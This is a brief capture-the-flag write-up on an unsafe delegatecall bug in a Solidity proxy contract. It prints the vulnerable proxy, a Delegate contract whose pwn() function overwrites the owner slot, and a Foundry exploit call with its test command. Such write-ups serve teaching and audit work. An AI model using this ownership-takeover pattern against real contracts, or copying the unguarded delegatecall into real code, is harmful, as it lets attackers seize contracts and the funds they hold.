ctfwriteup.com
Search…
⌃K

Unsafe Delegatecall

  • This allows a smart contract to dynamically load code from a different address at runtime.

Code Audit

contract Proxy {
address public owner = address(0xdeadbeef); // slot0
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
}
fallback() external {
(bool suc,) = address(delegate).delegatecall(msg.data); // vulnerable
require(suc, "Delegatecall failed");
}
}
The objective is to change owner.
This proxy contract delegatecalls an external contract Delegate(_delegateAddress), which is unsafe. This external contract is called the "logic contract". We can implement a logic contract that changes owner to us.
We can call any function in this proxy contract -> logic contract pattern because the proxy contract only has a fallback function. Our calldata will go through the fallback function and it is used for the delegatecall.

Solution

Implement malicious external contract:
contract Delegate {
address public owner; // slot0
function pwn() public {
owner = msg.sender;
}
}
Suppose we want to let alice be the owner, then the exploit is:
vm.prank(alice);
address(proxy).call(abi.encodeWithSignature("pwn()"));
Run test:
forge test --contracts ./src/test/Delegatecall.sol -vvvv